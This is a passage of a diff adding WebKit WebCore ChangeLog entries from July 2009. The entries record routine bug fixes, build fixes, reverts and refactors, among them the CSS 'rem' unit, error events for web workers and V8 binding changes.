+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::isReadyForRendering):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering):
+
+2009-07-16  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Antti Koivisto.
+        Patch by Brady Eidson and Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26496
+        <rdar://problem/7065391> Microsoft Outlook Web Access fails because XHR stream connection blocks script loading/revalidation
+
+        After refreshing a page and when all CachedResources on that page are in validation mode, they got an exemption
+        from the connection-per-host limit.  Removing that exemption makes the test case load smoothly after reloads.
+
+        * loader/loader.cpp:
+        (WebCore::Loader::Host::servePendingRequests): Remove the resourceIsCacheValidator exemption to the connection-per-host limit.
+
+2009-07-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] V8IsolatedWorld::evaluate needs to call didCreateIsolatedScriptContext
+        https://bugs.webkit.org/show_bug.cgi?id=27335
+
+        evaluateInNewContext makes this delegate call.  evaluateInNewWorld
+        needs to make the same call.  This does not appear to be testable with
+        our current technology.
+
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::evaluate):
+
+2009-07-15  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix a typo: application/atom=xml -> application/atom+xml.
+
+        * dom/ProcessingInstruction.cpp:
+        (WebCore::ProcessingInstruction::checkStyleSheet):
+
+2009-07-16  Dean McNamee  <deanm@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27292
+        Improve handling of <canvas> path operations on an empty path.
+        Implement Skia's Path::hasCurrentPoint().
+
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::lineTo):
+        (WebCore::CanvasRenderingContext2D::quadraticCurveTo):
+        (WebCore::CanvasRenderingContext2D::bezierCurveTo):
+        * platform/graphics/skia/PathSkia.cpp:
+        (WebCore::Path::hasCurrentPoint):
+
+2009-07-15  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Setting white-space and word-wrap via CSS in textarea doesn't override the wrap attribute
+        https://bugs.webkit.org/show_bug.cgi?id=26254
+
+        Make it so that setting white-space and word-wrap via CSS
+        overrides the wrap attribute.
+
+        This involves having the shadow div in the textarea inherit
+        the CSS from its parent instead of hard-coding it in
+        RenderTextControlMultiline.
+        
+        Committer note: Earlier I reverted this change because I did it incorrectly
+        by leaving out css/html.css. In the patch, the filename was the old name
+        css/html4.css and that led to my error.
+
+        * css/html.css:
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
+
+2009-07-15  James Hawkins  <jhawkins@google.com>
+
+        Reviewed by Adam Barth.
+
+        [V8] Remove a local variable that is shadowing a function parameter.
+        https://bugs.webkit.org/show_bug.cgi?id=27309
+
+        No test required as this modification does not change the current behavior.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+
+2009-07-15  Adam Langley  <agl@google.com>
+
+        No review: reverting previous change.
+
+        Revert r45959:
+
+        2009-07-15  Dumitru Daniliuc  <dumi@chromium.org>
+        Reviewed by Dimitri Glazkov.
+
+        Adding the Win SQLite VFS implementation for Chromium.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26940
+
+
+        The Chromium side of this patch was landed in 20839, but broke the build. It
+        was reverted in r20840. Thus, I'm reverting this side of the patch too.
+
+        * WebCore.gypi:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/sql/chromium/SQLiteFileSystemChromium.cpp: Removed.
+        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp: Removed.
+
+2009-07-15  David Levin  <levin@chromium.org>
+
+        Layout test fix, reverting previous change.
+
+        Reverting r45962 as it caused several layout test failures.
+
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
+
+2009-06-08  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Setting white-space and word-wrap via CSS in textarea doesn't override the wrap attribute
+        https://bugs.webkit.org/show_bug.cgi?id=26254
+
+        Make it so that setting white-space and word-wrap via CSS
+        overrides the wrap attribute.
+
+        This involves having the shadow div in the textarea inherit
+        the CSS from its parent instead of hard-coding it in
+        RenderTextControlMultiline.
+
+        * css/html4.css:
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
+
+2009-07-15  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adding the Win SQLite VFS implementation for Chromium.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26940
+
+        * platform/chromium/ChromiumBridge.h:
+        * platform/sql/chromium: Added.
+        * platform/sql/chromium/SQLiteFileSystemChromium.cpp: Added.
+        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp: Added.
+
+2009-07-15  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        Bug 25151 - workers that fail to load scripts not firing error event.
+        https://bugs.webkit.org/show_bug.cgi?id=25151
+
+        This fixes the problem that an error event is not fired when the worker
+        script fails to load. Some reasons this may occur are an invalid URL for
+        the worker script or a cross-origin redirect.
+
+        We also moves the code to complete the URL and check its origin from
+        Worker constructor to WorkerScriptLoader loading functions in order to
+        move the exception throwing logic out of the scope of Worker constructor.
+        Due to this change, we also remove the output ExceptionCode parameter
+        in the worker constructor. Corresponding JS/V8 binding codes have been
+        updated to reflect this change.
+
+        * bindings/js/JSWorkerConstructor.cpp:
+        (WebCore::constructWorker):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
+        (WebCore::Worker::notifyFinished):
+        * workers/Worker.h:
+        (WebCore::Worker::create):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::importScripts):
+        * workers/WorkerScriptLoader.cpp:
+        (WebCore::toCrossOriginRedirectPolicy):
+        (WebCore::WorkerScriptLoader::loadSynchronously):
+        (WebCore::WorkerScriptLoader::loadAsynchronously):
+        (WebCore::notifyLoadErrorTask):
+        (WebCore::WorkerScriptLoader::createResourceRequest):
+        (WebCore::WorkerScriptLoader::didFail):
+        (WebCore::WorkerScriptLoader::didFailRedirectCheck):
+        (WebCore::WorkerScriptLoader::didReceiveAuthenticationCancellation):
+        (WebCore::WorkerScriptLoader::notifyError):
+        * workers/WorkerScriptLoader.h:
+        (WebCore::):
+        (WebCore::WorkerScriptLoader::url):
+
+2009-07-15  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        text-shadow is not drawn for text with transparent colour
+        https://bugs.webkit.org/show_bug.cgi?id=21374
+
+        Test: fast/text/shadow-translucent-fill.html
+
+        * rendering/InlineTextBox.cpp:
+        (WebCore::paintTextWithShadows): If the text fill color is not opaque,
+        paint all shadows separately from the text, by casting them from
+        clipped-out opaque text.
+
+2009-07-15  Adam Treat  <adam.treat@torchmobile.com>
+
+        Fix the Qt build.
+
+        * html/HTMLAreaElement.cpp:
+
+2009-07-15  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Cleanup DOM Storage dependencies.
+        https://bugs.webkit.org/show_bug.cgi?id=27180
+
+        DOM Storage had several unnecessary (and probably unintended)
+        dependencies.  This patch replaces many includes of header files with
+        forward declaration of classes, making some destructors explicit, and
+        taking some factories out of the header files.
+
+        This will allow things like StorageAreaSync to take a StorageAreaImpl*
+        (as it should) rather than a StorageArea* which previously weren't
+        possible because the dependencies were such a tangled mess.
+
+        * storage/LocalStorageTask.cpp:
+        (WebCore::LocalStorageTask::~LocalStorageTask):
+        * storage/LocalStorageTask.h:
+        * storage/Storage.cpp:
+        (WebCore::Storage::~Storage):
+        * storage/Storage.h:
+        * storage/StorageArea.cpp:
+        * storage/StorageArea.h:
+        * storage/StorageAreaImpl.cpp:
+        * storage/StorageAreaImpl.h:
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::~StorageAreaSync):
+        * storage/StorageAreaSync.h:
+        * storage/StorageEvent.cpp:
+        (WebCore::StorageEvent::create):
+        (WebCore::StorageEvent::StorageEvent):
+        * storage/StorageEvent.h:
+        * storage/StorageNamespace.h:
+        * storage/StorageNamespaceImpl.cpp:
+        * storage/StorageNamespaceImpl.h:
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::~StorageSyncManager):
+        * storage/StorageSyncManager.h:
+
+2009-07-15  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Incorrect animation when trying to duplicate effect of transform-origin
+        https://bugs.webkit.org/show_bug.cgi?id=27310
+
+        The bug is that matrix animation is being used when animating
+        a list of transform functions that match in the from and to states.
+        This sometimes works. But because of the way CA does matrix animation
+        function lists like the one shown in the testcase animate incorrectly.
+
+        This fixes the bug by always doing component animation
+        as long as the function lists match. This allows CA
+        to animate the components and then recompose the result
+        into the correct matrix.
+
+        Test: animations/transform-origin-vs-functions.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::animateTransform):
+
+2009-07-15  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by David Levin.
+
+        Upstream the V8NPObject and NPV8Object build changes for WebCore.gypi.
+
+        Add upstreamed V8 bindings files into WebCore.gypi so they can be seen
+        downstream
+        https://bugs.webkit.org/show_bug.cgi?id=27274
+
+        Changes the build file for chromium.  Test built the chromium tree
+        to verify.
+
+        * WebCore.gypi:
+
+2009-07-15  Mark Rowe  <mrowe@apple.com>
+
+        I like it when the code compiles.
+
+        * WebCore.base.exp:
+
+2009-07-15  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Renamed parseURL to deprecatedParseURL.
+
+        * bindings/js/JSAttrCustom.cpp:
+        (WebCore::JSAttr::setValue): Renamed.
+        * bindings/js/JSElementCustom.cpp:
+        (WebCore::allowSettingSrcToJavascriptURL): Renamed.
+        * bindings/js/JSHTMLFrameElementCustom.cpp:
+        (WebCore::allowSettingJavascriptURL): Renamed.
+        * bindings/js/JSHTMLIFrameElementCustom.cpp:
+        (WebCore::JSHTMLIFrameElement::setSrc): Renamed.
+        * bindings/objc/DOM.mm:
+        (-[DOMElement _getURLAttribute:]): Renamed.
+        * bindings/objc/DOMHTML.mm:
+        (-[DOMHTMLDocument _createDocumentFragmentWithMarkupString:baseURLString:]): Renamed.
+        * bindings/v8/custom/V8CustomBinding.cpp:
+        (WebCore::allowSettingFrameSrcToJavascriptUrl): Renamed.
+        * css/CSSHelper.cpp:
+        (WebCore::deprecatedParseURL): Renamed.
+        * css/CSSHelper.h: Renamed and updated comment.
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::defaultEventHandler): Renamed.
+        (WebCore::HTMLAnchorElement::parseMappedAttribute): Renamed.
+        * html/HTMLBaseElement.cpp:
+        (WebCore::HTMLBaseElement::parseMappedAttribute): Renamed.
+        * html/HTMLBodyElement.cpp:
+        (WebCore::HTMLBodyElement::parseMappedAttribute): Renamed.
+        * html/HTMLEmbedElement.cpp:
+        (WebCore::HTMLEmbedElement::parseMappedAttribute): Renamed.
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::parseMappedAttribute): Renamed.
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::parseMappedAttribute): Renamed.
+        * html/HTMLImageElement.cpp:
+        (WebCore::HTMLImageElement::parseMappedAttribute): Renamed.
+        * html/HTMLImageLoader.cpp:
+        (WebCore::HTMLImageLoader::sourceURI): Renamed.
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::parseMappedAttribute): Renamed.
+        * html/HTMLObjectElement.cpp:
+        (WebCore::HTMLObjectElement::parseMappedAttribute): Renamed.
+        * html/HTMLTableElement.cpp:
+        (WebCore::HTMLTableElement::parseMappedAttribute): Renamed.
+        * html/HTMLTablePartElement.cpp:
+        (WebCore::HTMLTablePartElement::parseMappedAttribute): Renamed.
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::parseTag): Renamed.
+        * html/PreloadScanner.cpp:
+        (WebCore::PreloadScanner::processAttribute): Renamed.
+        (WebCore::PreloadScanner::emitCSSRule): Renamed.
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::declareAndWriteDragImage): Renamed.
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writeImage): Renamed.
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::ClipboardQt::declareAndWriteDragImage): Renamed.
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::ClipboardWin::declareAndWriteDragImage): Renamed.
+        * rendering/HitTestResult.cpp:
+        (WebCore::HitTestResult::absoluteImageURL): Renamed.
+        (WebCore::HitTestResult::absoluteMediaURL): Renamed.
+        (WebCore::HitTestResult::absoluteLinkURL): Renamed.
+        * svg/SVGAElement.cpp:
+        (WebCore::SVGAElement::defaultEventHandler): Renamed.
+        * svg/SVGImageLoader.cpp:
+        (WebCore::SVGImageLoader::sourceURI): Renamed.
+        * wml/WMLAElement.cpp:
+        (WebCore::WMLAElement::defaultEventHandler): Renamed.
+        * wml/WMLImageLoader.cpp:
+        (WebCore::WMLImageLoader::sourceURI): Renamed.
+
+2009-07-15  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        CSSHelper.h's parseURL is a function that no one should ever call
+        Part 1: Eliminate callers in the CSS parser.
+        https://bugs.webkit.org/show_bug.cgi?id=26599
+
+        Test: fast/css/uri-token-parsing.html
+
+        * css/CSSHelper.h: Added a comment explaining why nobody should ever call this
+        function. A FIXME suggests a next step, which would be to rename it deprecatedParseURL.
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue): Removed unneeded call to parseURL;
+        CSSParser::text already takes care of parsing the URI token syntax, and the
+        parseURL function does no good.
+        (WebCore::CSSParser::parseContent): Ditto.
+        (WebCore::CSSParser::parseFillImage): Ditto.
+        (WebCore::CSSParser::parseFontFaceSrc): Ditto.
+        (WebCore::CSSParser::parseBorderImage): Ditto.
+        (WebCore::isCSSWhitespace): Added. Helper function that makes the text function
+        easier to read.
+        (WebCore::CSSParser::text): Tweak logic so that leading and trailing whitespace
+        are both trimmed before removing the quote marks. Changed to use the
+        isCSSWhitespace, isASCIIHexDigit, and toASCIIHexValue functions for clarity.
+
+        * css/CSSParser.h: Removed stray "public:" in this header.
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::substring): Optimized the case where the substring covers
+        the entire string, so we just share the StringImpl instead of making a new one.
+        This case came up in earlier versions of the CSS parser changes above.
+        (WebCore::StringImpl::substringCopy): Streamlined the logic here and made it
+        not call substring any more. Before, this was relying on the substring function
+        always making a copy of any non-empty substring.
+
+2009-07-15  Darin Adler  <darin@apple.com>
+
+        Reviewed by John Sullivan.
+
+        After double-clicking a word, using Shift-arrow to select behaves unpredictably
+        https://bugs.webkit.org/show_bug.cgi?id=27177
+        rdar://problem/7034324
+
+        Test: editing/selection/extend-selection-after-double-click.html
+
+        The bug was due to the m_lastChangeWasHorizontalExtension flag, which was not
+        being cleared in many cases where it should have been.
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::setSelection): Set m_lastChangeWasHorizontalExtension
+        to false. This catches all sorts of cases that don't flow through the modify function.
+        Before, the flag would reflect the last call to the modify function, which was not
+        necessarily the last selection change.
+        (WebCore::SelectionController::willBeModified): Rearrange function for clarity.
+        Remove code that sets m_lastChangeWasHorizontalExtension; that is now handled elsewhere. 
+        (WebCore::SelectionController::modify): Call setLastChangeWasHorizontalExtension after
+        setSelection when setting up a trial selection controller, since setSelection now
+        clears that flag. Also changed both trial selection controller cases to set the flag,
+        although it's not strictly necessary in both cases. Added code to set
+        m_lastChangeWasHorizontalExtension when extending the selection, which used to be
+        handled in willBeModified. Now we need to do it after the selection change.
+
+2009-07-15  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Need to update DOM Storage files in GYPI file.
+        https://bugs.webkit.org/show_bug.cgi?id=27317
+
+        Need to update DOM Storage files in the GYPI file.  They're pretty out
+        of date and we're on the path towards enabling them for everyone!
+
+        * WebCore.gypi:
+
+2009-07-15  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26794
+        Make Yacc-generated parsers to use fastMalloc/fastFree.
+        
+        Define YYMALLOC and YYFREE to fastMalloc and fastFree
+        respectively.
+
+        * css/CSSGrammar.y:
+        * xml/XPathGrammar.y:
+
+2009-07-15  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27193
+        Don't run in to anonymous blocks.  No other browsers do this, and our implementation of run-in
+        is effectively broken as a result.
+
+        No new tests. Changed fast/runin/001.html and fast/runin/generated.html to match new behavior.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::handleRunInChild):
+
+2009-07-15  Yuzo Fujishima  <yuzo@google.com>
+
+        Reviewed by Darin Adler.
+
+        Test: fast/js/instanceof-operator.html
+
+        Fix for: Bug 25205 -  XMLHttpRequest instance is not an instanceof XMLHttpRequest
+        https://bugs.webkit.org/show_bug.cgi?id=25205
+
+        In addition to for XMLHttpRequest, this also fixes for:
+        - Audio
+        - Image
+        - MessageChannel
+        - Option
+        - WebKitCSSMatrix
+        - WebKitPoint
+        - Worker
+        - XSLTProcessor
+
+        * bindings/js/JSAudioConstructor.cpp:
+        (WebCore::JSAudioConstructor::JSAudioConstructor):
+        * bindings/js/JSAudioConstructor.h:
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMConstructorObject::createStructure):
+        (WebCore::DOMConstructorObject::DOMConstructorObject):
+        * bindings/js/JSImageConstructor.cpp:
+        (WebCore::JSImageConstructor::JSImageConstructor):
+        * bindings/js/JSImageConstructor.h:
+        * bindings/js/JSMessageChannelConstructor.cpp:
+        (WebCore::JSMessageChannelConstructor::JSMessageChannelConstructor):
+        * bindings/js/JSMessageChannelConstructor.h:
+        * bindings/js/JSOptionConstructor.cpp:
+        (WebCore::JSOptionConstructor::JSOptionConstructor):
+        * bindings/js/JSOptionConstructor.h:
+        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
+        (WebCore::JSWebKitCSSMatrixConstructor::JSWebKitCSSMatrixConstructor):
+        * bindings/js/JSWebKitCSSMatrixConstructor.h:
+        * bindings/js/JSWebKitPointConstructor.cpp:
+        (WebCore::JSWebKitPointConstructor::JSWebKitPointConstructor):
+        * bindings/js/JSWebKitPointConstructor.h:
+        * bindings/js/JSWorkerConstructor.cpp:
+        (WebCore::JSWorkerConstructor::JSWorkerConstructor):
+        * bindings/js/JSWorkerConstructor.h:
+        * bindings/js/JSXMLHttpRequestConstructor.cpp:
+        (WebCore::JSXMLHttpRequestConstructor::JSXMLHttpRequestConstructor):
+        * bindings/js/JSXMLHttpRequestConstructor.h:
+        * bindings/js/JSXSLTProcessorConstructor.cpp:
+        (WebCore::JSXSLTProcessorConstructor::JSXSLTProcessorConstructor):
+        * bindings/js/JSXSLTProcessorConstructor.h:
+
+2009-07-15  Kai Br�ning  <kai@granus.net>
+
+        Reviewed by Dave Hyatt.
+
+        CSS21 attribute selectors not dynamic for xml.
+        https://bugs.webkit.org/show_bug.cgi?id=25072
+
+        Moved the relevant test in StyledElement::attributeChanged()
+        to a new function Element::recalcStyleIfNeededAfterAttributeChanged()
+        so it can be called from both StyledElement::attributeChanged()
+        and Element::attributeChanged().
+        Refactored Element::attributeChanged() into
+        Element::updateAfterAttributeChanged() and
+        Element::recalcStyleIfNeededAfterAttributeChanged(), which are called
+        separately from StyledElement::attributeChanged().
+
+        Test: fast/css/attribute-selector-dynamic.xml
+
+        * dom/Element.cpp:
+        (WebCore::Element::attributeChanged):
+        (WebCore::Element::updateAfterAttributeChanged):
+        (WebCore::Element::recalcStyleIfNeededAfterAttributeChanged):
+        * dom/Element.h:
+        * dom/StyledElement.cpp:
+        (WebCore::StyledElement::attributeChanged):
+
+2009-07-15  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Layout test failures for drawImage in Canvas
+        https://bugs.webkit.org/show_bug.cgi?id=27311
+
+        Fixing several canvas layout tests failures due to a
+        missing return statement in CanvasRenderingContext2DDrawImage() which
+        was accidentally removed in r45929.
+
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+
+2009-07-15  Robert Hogan  <robert@roberthogan.net>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26969
+
+        If the httpMethod() of the request passed to SubresourceLoader::create is not
+        supported by the client we must expect to call didFail() while m_loader is still null.
+
+        * loader/DocumentThreadableLoader.cpp:
+        (DocumentThreadableLoader::didFail):Changed.
+
+2009-07-15  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Mac build.
+
+        * WebCore.base.exp:
+        * css/MediaQueryEvaluator.cpp:
+        * rendering/SVGRenderTreeAsText.cpp:
+        * rendering/style/SVGRenderStyle.cpp:
+        * svg/graphics/SVGPaintServer.cpp:
+
+2009-07-07  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] drawImage method of HTMLCanvasElement to accept HTMLVideoElement as argument
+        https://bugs.webkit.org/show_bug.cgi?id=27170
+
+        Changed CanvasRenderingContext2DDrawImage() to accept HTMLVideoElement
+        as a parameter of drawImage() for HTMLCanvasElement.
+
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+
+2009-07-15  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix isolated world constructors
+        https://bugs.webkit.org/show_bug.cgi?id=27287
+
+        Don't enter V8Proxy::m_context before creating DOM constructors.
+        Instead, use getWrapperContext to get the right context.
+
+        After this patch, all my tests pass.  I'll enable the feature
+        downstream and land the tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getConstructor):
+        (WebCore::V8DOMWrapper::lookupDOMWrapper):
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::evaluate):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::createWrapperFromCache):
+        (WebCore::V8Proxy::isContextInitialized):
+        (WebCore::V8Proxy::disposeContextHandles):
+        (WebCore::V8Proxy::installDOMWindow):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        (WebCore::V8Proxy::getHiddenObjectPrototype):
+        (WebCore::V8Proxy::installHiddenObjectPrototype):
+        * bindings/v8/V8Proxy.h:
+
+2009-07-15  Antonio Gomes   <antonio.gomes@openbossa.org>
+
+        Reviewed by Darin Adler.
+
+        useless null-check statement in visible_units.cpp@logicalStartOfLine
+        https://bugs.webkit.org/show_bug.cgi?id=27154
+
+        Simple fix.
+
+        * editing/visible_units.cpp:
+        (WebCore::logicalStartOfLine): Doubled honorEditableBoundaryAtOrAfter() call removed.
+
+2009-07-15  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27304
+        WebKit should provide usage and eligibility information about the page cache.
+
+        * WebCore.base.exp:
+
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrame::childFrameCount):
+        * history/CachedFrame.h:
+
+        * history/PageCache.cpp:
+        (WebCore::PageCache::frameCount):
+        (WebCore::PageCache::autoreleasedPageCount):
+        * history/PageCache.h:
+        (WebCore::PageCache::pageCount):
+
+2009-07-15  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by David Levin.
+
+        Chromium's canvas forgets its context after fillText again
+        https://bugs.webkit.org/show_bug.cgi?id=27293
+
+        No new tests because the test for this was already added in
+        https://bugs.webkit.org/show_bug.cgi?id=26436
+
+        * platform/graphics/chromium/TransparencyWin.cpp:
+        (WebCore::TransparencyWin::compositeTextComposite):
+
+2009-07-14  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27283
+
+        Implement the new 'rem' unit from CSS3.
+
+        Added some rem-* tests in fast/css.
+
+        * css/CSSGrammar.y:
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::validUnit):
+        (WebCore::unitFromString):
+        (WebCore::CSSParser::parseValue):
+        (WebCore::CSSParser::lex):
+        * css/CSSParserValues.cpp:
+        (WebCore::CSSParserValue::createCSSValue):
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::CSSPrimitiveValue::computeLengthInt):
+        (WebCore::CSSPrimitiveValue::computeLengthIntForLength):
+        (WebCore::CSSPrimitiveValue::computeLengthShort):
+        (WebCore::CSSPrimitiveValue::computeLengthFloat):
+        (WebCore::CSSPrimitiveValue::computeLengthDouble):
+        (WebCore::CSSPrimitiveValue::cssText):
+        (WebCore::CSSPrimitiveValue::parserValue):
+        * css/CSSPrimitiveValue.h:
+        (WebCore::CSSPrimitiveValue::):
+        (WebCore::CSSPrimitiveValue::isUnitTypeLength):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::initForStyleResolve):
+        (WebCore::convertToLength):
+        (WebCore::CSSStyleSelector::applyProperty):
+        (WebCore::CSSStyleSelector::mapFillSize):
+        (WebCore::CSSStyleSelector::mapFillXPosition):
+        (WebCore::CSSStyleSelector::mapFillYPosition):
+        (WebCore::CSSStyleSelector::createTransformOperations):
+        * css/CSSStyleSelector.h:
+        * css/MediaQueryEvaluator.cpp:
+        (WebCore::device_heightMediaFeatureEval):
+        (WebCore::device_widthMediaFeatureEval):
+        (WebCore::heightMediaFeatureEval):
+        (WebCore::widthMediaFeatureEval):
+        * css/WebKitCSSMatrix.cpp:
+        (WebCore::WebKitCSSMatrix::setMatrixValue):
+        * css/tokenizer.flex:
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        * dom/Document.h:
+        (WebCore::Document::usesRemUnits):
+        (WebCore::Document::setUsesRemUnits):
+        * dom/Element.cpp:
+        (WebCore::Element::recalcStyle):
+        * rendering/SVGRenderTreeAsText.cpp:
+        (WebCore::writeStyle):
+        * rendering/style/SVGRenderStyle.cpp:
+        (WebCore::SVGRenderStyle::cssPrimitiveToLength):
+        * svg/graphics/SVGPaintServer.cpp:
+        (WebCore::applyStrokeStyleToContext):
+        (WebCore::dashArrayFromRenderingStyle):
+        * svg/graphics/SVGPaintServer.h:
+
+2009-07-15  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        Remove extraneous qualifier, accidentally added in http://trac.webkit.org/changeset/45884.
+
+        * bindings/v8/V8DOMWrapper.h: Removed extraneous qualifier.
+
+2009-07-15  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [V8] Update bindings for ValiditeState patch.
+        https://bugs.webkit.org/show_bug.cgi?id=19562
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+
+2009-07-15  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Cleanup - Remove obsolete code from the make system
+        https://bugs.webkit.org/show_bug.cgi?id=27299
+
+        * WebCore.pro:
+
+2009-07-15  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        Fix the build without media elements.
+
+        * rendering/HitTestResult.cpp:
+        (WebCore::HitTestResult::absoluteMediaURL): Add #if ENABLE(VIDEO)
+        markers around the body of the method.
+
+2009-07-14  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Move storeLastActivePanel out of the
+        ifdef ENABLE_JAVASCRIPT_DEBUGGER section in IDL;
+        Add default panel for the first opening of the
+        WebInspector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27263
+
+        * inspector/InspectorController.cpp:
+        (InspectorController::setWindowVisible):
+        * inspector/InspectorController.idl:
+
+2009-07-14  Darin Adler  <darin@apple.com>
+
+        Try to fix Windows build.
+
+        * bindings/scripts/CodeGeneratorCOM.pm: Add Reflect and ReflectURL support.
+
+2009-07-14  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        HTMLMediaElement::supportsFullscreen() should return false
+        https://bugs.webkit.org/show_bug.cgi?id=27284
+
+        (Reverting a part of 45875)
+
+        HTMLVideoElement::supportsFullscreen() will properly do the
+        job, and check if the backend supports fullscreen.
+
+        HTMLVideoElement is the only subclass to support fullscreen
+        (conditionnaly). HTMLAudioElement fullscreen is not supported
+        and is a different kind of fullscreen, if it comes to be wanted.
+
+        No test can be done currently given that none of the media
